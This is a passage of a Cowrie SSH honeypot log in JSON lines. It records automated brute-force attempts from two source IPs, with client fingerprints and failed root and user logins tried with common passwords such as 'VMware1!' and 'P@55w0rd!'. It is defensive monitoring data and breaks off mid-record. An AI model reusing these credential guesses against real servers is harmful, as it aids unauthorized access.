{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:29.410386Z","src_ip":"60.165.124.241","session":"2f62ed7db9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42960,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3f8dc0062f3","protocol":"ssh","message":"New connection: 60.165.124.241:42960 (10.17.0.5:22) [session: e3f8dc0062f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:29.643307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:29.647953Z","src_ip":"60.165.124.241","session":"e3f8dc0062f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:29.886586Z","src_ip":"60.165.124.241","session":"e3f8dc0062f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd@1234","message":"login attempt [root/Abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:30.630672Z","src_ip":"60.165.124.241","session":"e3f8dc0062f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:31.875200Z","src_ip":"60.165.124.241","session":"e3f8dc0062f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46036,"dst_ip":"10.17.0.5","dst_port":22,"session":"84ad62fb18c2","protocol":"ssh","message":"New connection: 60.165.124.241:46036 (10.17.0.5:22) [session: 84ad62fb18c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:32.122130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:32.126988Z","src_ip":"60.165.124.241","session":"84ad62fb18c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:32.378937Z","src_ip":"60.165.124.241","session":"84ad62fb18c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@135","message":"login attempt [root/Admin@135] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:33.122573Z","src_ip":"60.165.124.241","session":"84ad62fb18c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:34.381378Z","src_ip":"60.165.124.241","session":"84ad62fb18c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49148,"dst_ip":"10.17.0.5","dst_port":22,"session":"78f51ec53ae5","protocol":"ssh","message":"New connection: 60.165.124.241:49148 (10.17.0.5:22) [session: 78f51ec53ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:35.633350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:35.638077Z","src_ip":"60.165.124.241","session":"78f51ec53ae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:35.892405Z","src_ip":"60.165.124.241","session":"78f51ec53ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial","message":"login attempt [root/vicidial] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:37.368663Z","src_ip":"60.165.124.241","session":"78f51ec53ae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:39.228103Z","src_ip":"60.165.124.241","session":"78f51ec53ae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55154,"dst_ip":"10.17.0.5","dst_port":22,"session":"465387058fa0","protocol":"ssh","message":"New connection: 60.165.124.241:55154 (10.17.0.5:22) [session: 465387058fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:42.490717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:42.495858Z","src_ip":"60.165.124.241","session":"465387058fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:42.753608Z","src_ip":"60.165.124.241","session":"465387058fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VMware1!","message":"login attempt [root/VMware1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:47.935504Z","src_ip":"60.165.124.241","session":"465387058fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.195.138.37","src_port":34506,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dfd688b06dd","protocol":"ssh","message":"New connection: 51.195.138.37:34506 (10.17.0.5:22) [session: 2dfd688b06dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:48.664437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:48.671777Z","src_ip":"51.195.138.37","session":"2dfd688b06dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:48.743192Z","src_ip":"51.195.138.37","session":"2dfd688b06dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sophia","password":"test123","message":"login attempt [sophia/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:49.059852Z","src_ip":"51.195.138.37","session":"2dfd688b06dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:49.196990Z","src_ip":"60.165.124.241","session":"465387058fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39496,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f028b1d237a","protocol":"ssh","message":"New connection: 60.165.124.241:39496 (10.17.0.5:22) [session: 7f028b1d237a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:49.442010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:49.446990Z","src_ip":"60.165.124.241","session":"7f028b1d237a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:50.133828Z","src_ip":"51.195.138.37","session":"2dfd688b06dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:57:50.425791Z","src_ip":"60.165.124.241","session":"7f028b1d237a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Business1","message":"login attempt [root/Business1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:02.672544Z","src_ip":"60.165.124.241","session":"7f028b1d237a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:04.523336Z","src_ip":"60.165.124.241","session":"7f028b1d237a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58514,"dst_ip":"10.17.0.5","dst_port":22,"session":"309b4df9d7ab","protocol":"ssh","message":"New connection: 60.165.124.241:58514 (10.17.0.5:22) [session: 309b4df9d7ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:04.796523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:04.813390Z","src_ip":"60.165.124.241","session":"309b4df9d7ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:05.070062Z","src_ip":"60.165.124.241","session":"309b4df9d7ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sutong@123","message":"login attempt [root/sutong@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:05.848676Z","src_ip":"60.165.124.241","session":"309b4df9d7ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:07.109012Z","src_ip":"60.165.124.241","session":"309b4df9d7ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33702,"dst_ip":"10.17.0.5","dst_port":22,"session":"b605b052247a","protocol":"ssh","message":"New connection: 60.165.124.241:33702 (10.17.0.5:22) [session: b605b052247a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:07.325505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:07.330896Z","src_ip":"60.165.124.241","session":"b605b052247a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:07.569339Z","src_ip":"60.165.124.241","session":"b605b052247a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd!","message":"login attempt [root/P@55w0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:08.289927Z","src_ip":"60.165.124.241","session":"b605b052247a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:09.530820Z","src_ip":"60.165.124.241","session":"b605b052247a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36642,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7af544df5af","protocol":"ssh","message":"New connection: 60.165.124.241:36642 (10.17.0.5:22) [session: f7af544df5af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:09.763998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:09.772981Z","src_ip":"60.165.124.241","session":"f7af544df5af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","e